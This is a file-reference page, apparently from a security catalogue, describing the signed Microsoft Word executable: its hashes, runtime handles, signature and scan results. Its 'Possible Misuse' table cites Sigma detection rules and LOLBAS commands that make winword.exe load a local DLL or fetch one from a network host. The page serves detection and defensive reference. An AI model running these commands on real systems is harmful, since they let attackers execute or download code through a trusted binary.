WINWORD.EXE

  • File Path: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
  • Description: Microsoft Word

Screenshot

WINWORD.EXE WINWORD.EXE

Hashes

Type Hash
MD5 10B777CD1CC2D94C60707FB53B29BB7D
SHA1 2FA389B2CFBF11AA5F08609D019F1FD8B1233065
SHA256 75D216CDE89D62AE1F9A8137CE7EE32FEC7A1DA96826BE471E664223651720BC
SHA384 3E5C6297573C09860420D92E4C280EAF7E00C2A268D7EFDBA697CEFDEF5F20424BCFD9DE3B531C5B243A01B6E4CD7BFB
SHA512 7A1C1CC0B331F4C9D1F751DF4C9A4D09C495063E7A6574601CA1340A9A883E1158F6C17200546995D2BE5CA970F656E6B86CD2773EE25F71D923AE6C0FBE28A0
SSDEEP 3072:UcQsVK2OKsuWoZmp4sVK2OKsuWoZEckAQckAIDpAPfKrss1yyKrss1yAZDvYbND5:1ErtkAzkAZqrEdrEAZUdwFjNNrFs
IMP E35903DD5F449996A8A560239CCEDAFA
PESHA1 A05CD068E145FA513273F2D3848EC1B00067E231
PE256 876102EBE47D74EB60C86F424D2077D7B53D2A62FDBE4D7F84F77CAA7E7C46C2

Runtime Data

Window Title:

Microsoft Word

Open Handles:

Path Type
(R–) C:\ProgramData\Microsoft\Office\ClickToRunPackageLocker File
(R-D) C:\Windows\Fonts\StaticCache.dat File
(R-D) C:\Windows\SystemResources\imageres.dll.mun File
(R-D) C:\Windows\SysWOW64\en-US\user32.dll.mui File
(RW-) C:\Users\user\Documents File
(RW-) C:\Windows File
(RW-) C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.488_none_11b1e5df2ffd8627 File
(RW-) C:\Windows\WinSxS\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.19041.508_none_429cdbca8a8ffa94 File
\BaseNamedObjects\NLS_CodePage_1252_3_2_0_0 Section
\BaseNamedObjects\NLS_CodePage_437_3_2_0_0 Section
\Sessions\1\Windows\Theme64749523 Section
\Windows\Theme1120315852 Section

Loaded Modules:

Path
C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
C:\Windows\SYSTEM32\ntdll.dll
C:\Windows\System32\wow64.dll
C:\Windows\System32\wow64cpu.dll
C:\Windows\System32\wow64win.dll

Signature

  • Status: Signature verified.
  • Serial: 33000002CE7C9ACE7D905ED2B70000000002CE
  • Thumbprint: B10607FB914700B40F794610850C1DE0A21566C1
  • Issuer: CN=Microsoft Code Signing PCA 2010, O=Microsoft Corporation, L=Redmond, S=Washington, C=US
  • Subject: CN=Microsoft Corporation, O=Microsoft Corporation, L=Redmond, S=Washington, C=US

File Metadata

  • Original Filename: WinWord.exe
  • Product Name: Microsoft Office
  • Company Name: Microsoft Corporation
  • File Version: 16.0.12527.20482
  • Product Version: 16.0.12527.20482
  • Language: Language Neutral
  • Legal Copyright:
  • Machine Type: 32-bit

File Scan

  • VirusTotal Detections: 0/71
  • VirusTotal Link: https://www.virustotal.com/gui/file/75d216cde89d62ae1f9a8137ce7ee32fec7a1da96826be471e664223651720bc/detection/

File Similarity (ssdeep match)

File Score
C:\Program Files (x86)\Microsoft Office\root\Office16\WORDICON.EXE 35
C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer{90160000-000F-0000-0000-0000000FF1CE}\wordicon.exe 33

Possible Misuse

The following table contains possible examples of WINWORD.EXE being misused. While WINWORD.EXE is not inherently malicious, its legitimate functionality can be abused for malicious purposes.

Source Source File Example License
sigma godmode_sigma_rule.yml - '\WINWORD.EXE' DRL 1.0
sigma sysmon_susp_office_dotnet_assembly_dll_load.yml - '*\winword.exe' DRL 1.0
sigma sysmon_susp_office_dotnet_clr_dll_load.yml - '*\winword.exe' DRL 1.0
sigma sysmon_susp_office_dotnet_gac_dll_load.yml - '*\winword.exe' DRL 1.0
sigma sysmon_susp_office_dsparse_dll_load.yml - '*\winword.exe' DRL 1.0
sigma sysmon_susp_office_kerberos_dll_load.yml - '*\winword.exe' DRL 1.0
sigma sysmon_susp_winword_vbadll_load.yml - '*\winword.exe' DRL 1.0
sigma sysmon_susp_winword_wmidll_load.yml - '*\winword.exe' DRL 1.0
sigma win_crime_maze_ransomware.yml - '\WINWORD.exe' DRL 1.0
sigma win_exploit_cve_2015_1641.yml ParentImage: '*\WINWORD.EXE' DRL 1.0
sigma win_exploit_cve_2017_0261.yml ParentImage: '*\WINWORD.EXE' DRL 1.0
sigma win_exploit_cve_2017_8759.yml ParentImage: '*\WINWORD.EXE' DRL 1.0
sigma win_office_shell.yml - '*\WINWORD.EXE' DRL 1.0
sigma win_office_spawn_exe_from_users_directory.yml - '*\WINWORD.EXE' DRL 1.0
sigma win_susp_msoffice.yml - '\winword.exe' DRL 1.0
sigma win_susp_powershell_parent_process.yml - '\winword.exe' DRL 1.0
sigma sysmon_cactustorch.yml - '*\winword.exe' DRL 1.0
LOLBAS Winword.yml Name: winword.exe  
LOLBAS Winword.yml - Command: winword.exe /l dllfile.dll  
LOLBAS Winword.yml Usecase: Execute a locally stored DLL using winword.exe.  
LOLBAS Winword.yml - Path: c:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE  
LOLBAS Winword.yml Name: Winword.exe  
LOLBAS Winword.yml - Command: winword.exe "http://192.168.1.10/TeamsAddinLoader.dll"  
LOLBAS Winword.yml - Path: C:\Program Files\Microsoft Office\root\Office16\winword.exe  
LOLBAS Winword.yml - Path: C:\Program Files (x86)\Microsoft Office 16\ClientX86\Root\Office16\winword.exe  
LOLBAS Winword.yml - Path: C:\Program Files\Microsoft Office 16\ClientX64\Root\Office16\winword.exe  
LOLBAS Winword.yml - Path: C:\Program Files (x86)\Microsoft Office\Office16\winword.exe  
LOLBAS Winword.yml - Path: C:\Program Files\Microsoft Office\Office16\winword.exe  
LOLBAS Winword.yml - Path: C:\Program Files (x86)\Microsoft Office 15\ClientX86\Root\Office15\winword.exe  
LOLBAS Winword.yml - Path: C:\Program Files\Microsoft Office 15\ClientX64\Root\Office15\winword.exe  
LOLBAS Winword.yml - Path: C:\Program Files (x86)\Microsoft Office\Office15\winword.exe  
LOLBAS Winword.yml - Path: C:\Program Files\Microsoft Office\Office15\winword.exe  
LOLBAS Winword.yml - Path: C:\Program Files (x86)\Microsoft Office 14\ClientX86\Root\Office14\winword.exe  
LOLBAS Winword.yml - Path: C:\Program Files\Microsoft Office 14\ClientX64\Root\Office14\winword.exe  
LOLBAS Winword.yml - Path: C:\Program Files (x86)\Microsoft Office\Office14\winword.exe  
LOLBAS Winword.yml - Path: C:\Program Files\Microsoft Office\Office14\winword.exe  
LOLBAS Winword.yml - Path: C:\Program Files (x86)\Microsoft Office\Office12\winword.exe  
LOLBAS Winword.yml - Path: C:\Program Files\Microsoft Office\Office12\winword.exe  
atomic-red-team T1055.012.md This module executes calc.exe from within the WINWORD.EXE process MIT License. © 2018 Red Canary

MIT License. Copyright (c) 2020-2021 Strontic.